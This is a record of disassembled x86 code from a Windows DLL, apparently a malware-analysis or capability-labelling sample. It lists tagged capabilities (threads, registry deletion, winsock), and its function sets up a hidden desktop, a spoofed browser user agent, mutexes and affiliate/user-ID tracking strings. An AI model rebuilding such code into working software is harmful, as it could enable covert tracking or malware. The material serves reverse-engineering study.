Function at 0x10026044
Capabilities:
Create thread
Delete registry key
Initialize winsock library

Disassembly:
mov eax, 0x10068c51
call fcn.100575f8
sub esp, 0xb38
mov eax, dword [0x10084500]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 2
xor esi, esi
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
cmp eax, esi
jge 0x100260bc
push eax
push 0x6a
push esi
push 1
call fcn.10004566
mov ecx, dword [0x10084008]
add esp, 0x10
cmp dword [0x1008401c], 0x10
jae 0x10026093
mov ecx, 0x10084008
cmp dword [0x10084038], 0x10
mov eax, dword [0x10084024]
jae 0x100260a6
mov eax, 0x10084024
push ecx
push eax
push 0x10085ff8
push 0x1006efc8
call sym.mnbv.DLL_f
jmp 0x1002617b
push esi
push esi
push esi
push 3
push esi
push esi
push esi
or ebx, 0xffffffff
push ebx
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0xa54]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push esi
push 0x10000000
push esi
push esi
push esi
push str.ff_dsk
call dword [sym.imp.USER32.dll_CreateDesktopA]
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.InternetOpenA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x10026127
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1_
call eax
mov dword [0x10085980], eax
cmp dword [0x10085980], esi
jne 0x10026185
cmp dword [0x1008401c], 0x10
mov ecx, dword [0x10084008]
jae 0x10026143
mov ecx, 0x10084008
cmp dword [0x10084038], 0x10
mov eax, dword [0x10084024]
jae 0x10026156
mov eax, 0x10084024
push ecx
push eax
push 0x10085ff8
push 0x1006ef78
call sym.mnbv.DLL_f
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x6b
push esi
push 1
call fcn.10004566
add esp, 0x10
xor eax, eax
jmp 0x10026825
call fcn.10023428
push esi
call fcn.10059e39
push eax
call fcn.100583bb
push 0x54
call fcn.1005563e
add esp, 0xc
mov dword [ebp - 0xa58], eax
cmp eax, esi
mov dword [ebp - 4], esi
je 0x100261b9
push dword [ebp + 8]
mov ecx, eax
call fcn.10025506
jmp 0x100261bb
xor eax, eax
push 0x34
mov dword [ebp - 4], ebx
mov dword [0x10085fc8], eax
call fcn.1005563e
pop ecx
mov dword [ebp - 0xa58], eax
xor edi, edi
inc edi
cmp eax, esi
mov dword [ebp - 4], edi
je 0x100261e4
mov ecx, eax
call fcn.1002a497
jmp 0x100261e6
xor eax, eax
mov ecx, dword [0x10085fc8]
mov dword [0x10088c00], eax
push 0x11
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 4], ebx
call fcn.1002480e
mov ecx, dword [0x10088c00]
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 4], 2
call fcn.10029db5
mov ecx, dword [0x10085fc8]
push 0x13
lea eax, [ebp - 0xa7c]
push eax
call fcn.1002480e
push ebx
push esi
push eax
mov ecx, 0x10083fe8
mov byte [ebp - 4], 3
call fcn.100014f5
push esi
push edi
lea ecx, [ebp - 0xa7c]
mov byte [ebp - 4], 2
call fcn.10001293
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xa58], esp
push 0x10083fe8
call fcn.100015f3
call fcn.10025f79
add esp, 0x1c
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, dword [0x10085fc8]
mov dword [0x10086078], eax
push 0x15
lea eax, [ebp - 0xa7c]
push eax
call fcn.1002480e
push ebx
push esi
mov ebx, 0x10089bec
push eax
mov ecx, ebx
mov byte [ebp - 4], 4
call fcn.100014f5
push esi
push edi
lea ecx, [ebp - 0xa7c]
mov byte [ebp - 4], 2
call fcn.10001293
cmp dword [0x10089c00], esi
jne 0x100262c8
push 0x1006d168
mov ecx, ebx
call fcn.10001619
mov ecx, dword [0x10085fc8]
push 0x14
lea eax, [ebp - 0xa7c]
push eax
call fcn.1002480e
push 0xffffffffffffffff
push esi
mov ebx, 0x10089bd0
push eax
mov ecx, ebx
mov byte [ebp - 4], 5
call fcn.100014f5
push esi
push edi
lea ecx, [ebp - 0xa7c]
mov byte [ebp - 4], 2
call fcn.10001293
cmp dword [0x10089be4], esi
jne 0x10026315
push 0x1006d168
mov ecx, ebx
call fcn.10001619
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, dword [0x10085fc8]
mov dword [0x10086074], eax
push 0x12
lea eax, [ebp - 0xa7c]
push eax
call fcn.1002480e
push 0xffffffffffffffff
push esi
push eax
mov ecx, 0x10083fcc
mov byte [ebp - 4], 6
call fcn.100014f5
push esi
push edi
lea ecx, [ebp - 0xa7c]
mov byte [ebp - 4], 2
call fcn.10001293
mov dword [0x10085998], 0x3c7
call fcn.10022f97
push 0x70
mov dword [0x10085998], 0x3cc
call fcn.1005563e
pop ecx
mov dword [ebp - 0xa58], eax
cmp eax, esi
mov byte [ebp - 4], 7
je 0x10026392
mov ecx, eax
call fcn.1002314d
jmp 0x10026394
xor eax, eax
mov byte [ebp - 4], 2
mov dword [0x10085994], eax
call fcn.10025d3a
call fcn.10025190
test al, al
jne 0x1002647a
mov ebx, 0x420
push ebx
lea eax, [ebp - 0x8c4]
push esi
push eax
call fcn.10056960
add esp, 0xc
push esi
push esi
push esi
push 0xf001f
push dword [0x10085fbc]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, esi
mov dword [ebp - 0xa5c], eax
je 0x10026400
push ebx
push eax
lea eax, [ebp - 0x8c4]
push eax
call fcn.10056df0
add esp, 0xc
push dword [ebp - 0xa5c]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea eax, [ebp - 0x7bc]
push eax
call fcn.10056d60
test eax, eax
pop ecx
je 0x1002641a
lea eax, [ebp - 0x7bc]
push eax
jmp 0x1002641f
push 0x1006c6a8
push 0x6c
push esi
push 2
call fcn.10004566
add esp, 0x10
push dword [0x10085fbc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1008401c], 0x10
mov ecx, dword [0x10084008]
jae 0x1002644c
mov ecx, 0x10084008
cmp dword [0x10084038], 0x10
mov eax, dword [0x10084024]
jae 0x1002645f
mov eax, 0x10084024
push ecx
push eax
push 0x10085ff8
push 0x1006ef74
call sym.mnbv.DLL_f
add esp, 0x10
xor ebx, ebx
jmp 0x10026816
lea eax, [ebp - 0xa80]
push eax
push esi
push esi
push 0x10025ba3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x420
mov dword [0x10085984], eax
lea eax, [ebp - 0x4a4]
push esi
push eax
mov dword [0x10085998], 0x3eb
call fcn.10056960
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4a4], eax
lea eax, [ebp - 0x39c]
push 0x10085a50
push eax
call fcn.10057da0
pop ecx
pop ecx
push 0xf
pop ebx
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x18], ebx
call fcn.1000125d
push esi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x34], ebx
call fcn.1000125d
push esi
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x50], ebx
call fcn.1000125d
push 0xffffffffffffffff
push esi
push 0x10084004
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0xa
call fcn.10002e80
push 0x1006e4ac
lea ecx, [ebp - 0x4c]
call fcn.10003017
push 0xffffffffffffffff
push esi
mov ebx, 0x10084020
push ebx
lea ecx, [ebp - 0x4c]
call fcn.10002e80
push str.affid
lea ecx, [ebp - 0x30]
call fcn.10003017
push 0x10085ff8
lea ecx, [ebp - 0x30]
call fcn.10003017
push str.resid
lea ecx, [ebp - 0x30]
call fcn.10003017
push 0x10085fd0
lea ecx, [ebp - 0x30]
call fcn.10003017
cmp dword [ebp - 0x34], 0x10
mov ecx, dword [ebp - 0x48]
jae 0x1002656c
lea ecx, [ebp - 0x48]
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x10026578
lea eax, [ebp - 0x2c]
push ecx
push eax
call fcn.100541be
pop ecx
pop ecx
push 0x1006e4ac
lea ecx, [ebp - 0xab8]
call fcn.10001636
mov dword [ebp - 0xa58], eax
push str.guid
lea ecx, [ebp - 0xaf0]
mov byte [ebp - 4], 0xb
call fcn.10001636
mov dword [ebp - 0xa5c], eax
push str.uid
lea ecx, [ebp - 0xb28]
mov byte [ebp - 4], 0xc
call fcn.10001636
push ebx
push eax
lea eax, [ebp - 0xb44]
push eax
mov byte [ebp - 4], 0xd
call fcn.10024794
push dword [ebp - 0xa5c]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0xb0c]
push eax
call fcn.10024794
push 0x10084004
push eax
lea eax, [ebp - 0xad4]
push eax
mov byte [ebp - 4], 0xf
call fcn.10024794
push dword [ebp - 0xa58]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0xa9c]
push eax
call fcn.10024794
lea ecx, [ebp - 0x30]
push ecx
push eax
lea eax, [ebp - 0xa7c]
push eax
mov byte [ebp - 4], 0x11
call fcn.10024794
add esp, 0x3c
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x12
call fcn.100014f5
push esi
push edi
lea ecx, [ebp - 0xa7c]
call fcn.10001293
push esi
push edi
lea ecx, [ebp - 0xa9c]
call fcn.10001293
push esi
push edi
lea ecx, [ebp - 0xad4]
call fcn.10001293
push esi
push edi
lea ecx, [ebp - 0xb0c]
call fcn.10001293
push esi
push edi
lea ecx, [ebp - 0xb44]
call fcn.10001293
push esi
push edi
lea ecx, [ebp - 0xb28]
call fcn.10001293
push esi
push edi
lea ecx, [ebp - 0xaf0]
call fcn.10001293
push esi
push edi
lea ecx, [ebp - 0xab8]
mov byte [ebp - 4], 0xa
call fcn.10001293
cmp dword [ebp - 0x50], 0x10
mov eax, dword [ebp - 0x64]
jae 0x100266bb
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.10057da0
pop ecx
pop ecx
push esi
push esi
push esi
push 0xf001f
push dword [0x10085fbc]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
cmp ebx, esi
je 0x10026700
push 0x420
lea eax, [ebp - 0x4a4]
push eax
push ebx
call fcn.10056df0
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0x100864c8
push esi
push esi
mov dword [0x10085998], 0x412
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x10085990], eax
mov dword [0x10085998], 0x41a
call fcn.1001eade
call fcn.1001e93e
mov dword [0x10085998], 0x420
call fcn.100227ba
call fcn.1002238c
call fcn.10020b9f
lea eax, [ebp - 0xa60]
push eax
push 0xf003f
push esi
push 0x10086290
push 0x80000001
mov dword [0x10085998], 0x428
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10026791
push 0x10086468
push dword [ebp - 0xa60]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0xa60]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x43
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x100267ec
push 0x17
push esi
push 0x1006e484
mov ecx, 0x10089c80
mov byte [ebp - 4], 0x13
call fcn.1000dc7b
cmp eax, esi
mov dword [ebp - 0xa58], eax
jge 0x100267ec
push eax
push 0x72
push esi
push 2
call fcn.10004566
add esp, 0x10
jmp 0x100267ec
push esi
push edi
lea ecx, [ebp - 0x68]
mov dword [0x10085998], 0x44c
call fcn.10001293
push esi
push edi
lea ecx, [ebp - 0x4c]
call fcn.10001293
push esi
push edi
lea ecx, [ebp - 0x30]
call fcn.10001293
mov ebx, edi
push esi
push edi
lea ecx, [ebp - 0x84]
call fcn.10001293
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.100568ae
pop edi
pop esi
pop ebx
leave
ret